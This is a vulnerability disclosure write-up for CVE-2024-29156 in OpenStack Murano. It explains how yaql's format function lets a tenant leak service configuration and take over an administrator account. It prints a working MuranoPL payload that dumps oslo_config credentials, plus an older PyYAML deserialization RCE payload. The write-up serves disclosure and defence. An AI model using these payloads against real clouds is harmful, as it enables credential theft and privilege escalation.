OpenStack Admin Account Takeover due to Unsafe Environment Handling in MuranoPL
# Introduction
OpenStack is an open-source cloud computing platform used to build and manage public and private clouds. It offers infrastructure services like compute, storage, and networking, supporting various virtualization technologies, flexible and scalable. They say on offical website: "The Most Widely Deployed Open Source Cloud Software in the World", and seem have a lot of use-cases: https://www.openstack.org/use-cases/
As for `Murano` is an application catalog service designed to simplify the process of deploying application services on OpenStack. The basic functionality is the Murano service parses and executes deployment code file written in `MuranoPL` (short for Murano Program Language) contained within the user-uploaded app package to complete the deployment operation.
Based on our experience with this kind of project, any operation involving the parsing and execution of code, templates, or data may pose security risks. After some research, we successfully identified a vulnerability in the default deployment configuration, could leak sensitive platform information, allowing tenants to elevate their permissions to administrator. We have discovered multiple instances of public and private clouds based on OpenStack that are affected by this vulnerability.
**CVE-2024-29156** : https://wiki.openstack.org/wiki/OSSN/OSSN-0093
# Architecture
Various information about Murano can be found in the official documentation, such as its architecture diagram: [Murano Architecture](https://docs.openstack.org/murano/latest/reference/architecture.html).
Murano consists of several modules, and user-uploaded app packages will finally reach `murano-engine` for parsing and execution. An app package is essentially a zip archive with the following directory structure and functionality:
- **manifest.yaml**: Describes information about the application to be deployed and which resource files are included.
- **Classes/\*.yaml**: Written in `MuranoPL`, describes the operations to schedule resources to complete application deployment.
- **UI/\*.yaml**: Also written in `MuranoPL`, constructs the user interaction interface during deployment.
- **Resources/\***: Contains custom resource files.
# CVE-2016-4972
Here is a old CVE for `MuranoPL`. https://nvd.nist.gov/vuln/detail/CVE-2016-4972
It's a classic YAML deserialization vulnerability that allowed for direct RCE. This vulnerability exploit the `yaml.load` function of the `PyYAML` library (before the release of `PyYAML 5.1`), where users had full control over the content of the YAML file. Typically, a payload like the following could achieve RCE:
```yaml
!!python/object/apply:subprocess.Popen [whoami]
```
The vulnerability was fixed by using the `SafeLoader` loader, which does not support deserialization of class objects. The fix is simple but effective: [Fix Patch](https://review.opendev.org/c/openstack/murano/+/333425).
# MuranoPL
## Language Features
Let's introduce the `MuranoPL` language, which can be considered an extension of `yaql`, we found that, compared to YAQL, it includes the following additional features:
### New Syntax Structures
**Looping, Conditional Keywords**
```python
# murano/dsl/macros.py
expressions.register_macro(WhileDoMacro)
...
expressions.register_macro(IfMacro)
```
**Class Definition and Inheritance**
```python
# murano/dsl/murano_type.py
class MuranoClass(dsl_types.MuranoClass, MuranoType, dslmeta.MetaProvider):
...
def extension_class(self):
...
def add_property(self, property_typespec):
...
def add_method(self, name, payload, original_name=None):
...
```
**Function and Method Definition**
```python
# murano/dsl/murano_method.py
class MuranoMethod(dsl_types.MuranoMethod, meta.MetaProvider):
...
def invoke(self, this, args, kwargs, context=None, skip_stub=False):
```
### More Functions, Expressions, and Classes
**Additional Function and Expression Support**
```python
# murano/dsl/yaql_functions.py
def register(context, runtime_version):
context.register_function(cast)
...
context.register_function(ns_resolve_unary)
```
**Registering Various Classes**
```python
# murano/engine/system/system_objects.py
def register(package):
...
package.register_class(agent_listener.AgentListener)
...
package.register_class(project.Project)
```
## Example of MuranoPL Code
An example of MuranoPL code is as follows:
https://github.com/openstack/murano-apps/blob/master/MySQL/package/Classes/MySql.yaml
```yaml
Namespaces:
=: com.example.databases
std: io.murano
res: io.murano.resources
sys: io.murano.system
conf: io.murano.configuration
Name: MySql
Extends:
- std:Application
Properties:
instance:
Contract: $.class(res:Instance).notNull()
Methods:
.init:
Body:
- $._environment: $.find(std:Environment).require()
deploy:
Body:
- If: not $.getAttr(deployed, false)
Then:
- $._environment.reporter.report($this, 'Creating VM for MySql')
- $securityGroupIngress:
- ToPort: 3306
FromPort: 3306
IpProtocol: tcp
External: true
- $._environment.securityGroupManager.addGroupIngress($securityGroupIngress)
- $.instance.deploy()
# Deploy MySql
- $._environment.reporter.report($this, 'Instance is created. Deploying MySql')
- $file: sys:Resources.string('deployMySql.sh')
- conf:Linux.runCommand($.instance.agent, $file)
...
```
# Exploitation
After the above introduction, we have gained some understanding of `MuranoPL`. Now let's begin analyzing the vulnerability. The fundamental cause of the vulnerability lies in the `yaql` library.
`yaql` natively supports some functions, including the `format` function, which is a built-in string formatting function defined as follows:
```python
@specs.parameter('__format_string', yaqltypes.String())
@specs.extension_method
def format_(__format_string, *args, **kwargs):
return __format_string.format(*args, **kwargs)
```
The formatting string parameters and formatted parameters are both user-controllable. The Python formatting print function `str.format` has a feature that allows accessing attributes of the formated parameter object: [string — Common string operations — Python 3.12.2 documentation](https://docs.python.org/3/library/string.html#formatstrings). Therefore, we can attempt to use this feature to leak the underlying data structure of `MuranoPL`.
So, the vulnerability can be exploited by accessing attributes of formatted parameter objects, similar to the sandbox escape idea commonly used in Python. For example:
```python
secret_key = "abcd1234"
class Test:
def __init__(self):
pass
t = Test()
# Exploiting the vulnerability to expose sensitive data:
evil_format_string = '{0.__class__.__init__.__globals__[secret_key]}'
formatted_output = evil_format_string.format(t)
# This line reveals the value of secret_key
print(formatted_output)
```
This code successfully leaks the value of the `secret_key`.
Next, we attempt to leak the environment information of the `Murano` service. The configuration information of Murano is mainly loaded through `oslo_config`. An example usage of `oslo_config` is as follows:
```python
from oslo_config import cfg
CFG = cfg.CONF
config_val = CFG[section][config_key]
```
Therefore, if we can obtain the `CFG` object, we can access all the configuration information loaded by `oslo_config`.
After investigation and experimentation, it was confirmed that configuration leakage could be achieved through the following class:
**meta/io.murano/Classes/Environment.yaml**
```python
Namespaces:
=: io.murano
...
# define `Environment` class via MuranoPL
Name: Environment
...
Properties:
...
reporter:
Contract: $.class(sys:StatusReporter)
Usage: Runtime
```
`Environment` is a `MuranoPL` class defined in a YAML file. Among its defined properties is the `reporter` attribute of the `StatusReporter` class. By examining the python code definition of `StatusReporter`, we can see that the `oslo_config` module is imported, which is exactly what we want.
**murano/engine/system/status_reporter.py**
```python
from oslo_config import cfg
...
# this is what we want
CONF = cfg.CONF
...
# define `StatusReporter` class that can be used in MuranoPL
@dsl.name('io.murano.system.StatusReporter')
class StatusReporter(object):
...
```
Native Python objects are set to the `_extension` attribute of `MuranoObject`, from which we can obtain the Python object of `StatusReporter`.
Finally, the key payload for leaking information is as follows:
```yaml
Namespaces:
=: com.test
std: io.murano
Name: OSLO_CONFIG_STEALER
Extends:
- std:Application
Methods:
.init:
Body:
- $._environment: $.find(std:Environment).require()
deploy:
Body:
- $._environment.reporter.report($this, 'Try leaking oslo configuration')
- $._environment.reporter.report($this, format('{0._extension.__init__.__globals__[CONF].__dict__}', $._environment.reporter))
```
By packaging the app in this format, uploading and deploying it, we can see leaked information in the deployment logs.
This includes sensitive information, such as the account of the Murano service in Keystone (an identity authentication management service for OpenStack), and this account is in the administrator group, allowing tenants to login with this account and elevate their permissions to administrator.
# Impact
We have discovered multiple instances of public and private clouds based on OpenStack that are affected by this vulnerability. Tenants can gain administrator privileges in these clouds.
Apart from Murano service, yaql is also referenced by other projects. Currently, it is understood that OpenStack's `heat` and `mistral` also reference this project. OpenStack's VMT(vulnerability management team) has notified relevant project participants to confirm whether they are affected.
To handle this vulnerability, OpenStack VMT's suggestion is: Disable the Murano service, or fully remove it from, all OpenStack deployments at the earliest opportunity.
# Timeline
Our first submission was on January 4th, with an inquiry in between. Finally, the Murano project team officially engaged and confirmed the issue on February 20th. The OpenStack VMT explained: "There was a bit of a leadership crisis for Murano, and nobody in the existing group authorized to see this report was around to look into the issue you reported". This might pose a risk to open-source project security, as outdated and unmaintained projects may not receive formal notifications, and security issues may not be adequately addressed.
However CVE-2024-29156 was ultimately resolved with the involvement of OpenStack VMT and related personnel.
# Credits
kirualawliet and Zhiniang Peng (@edwardzpeng)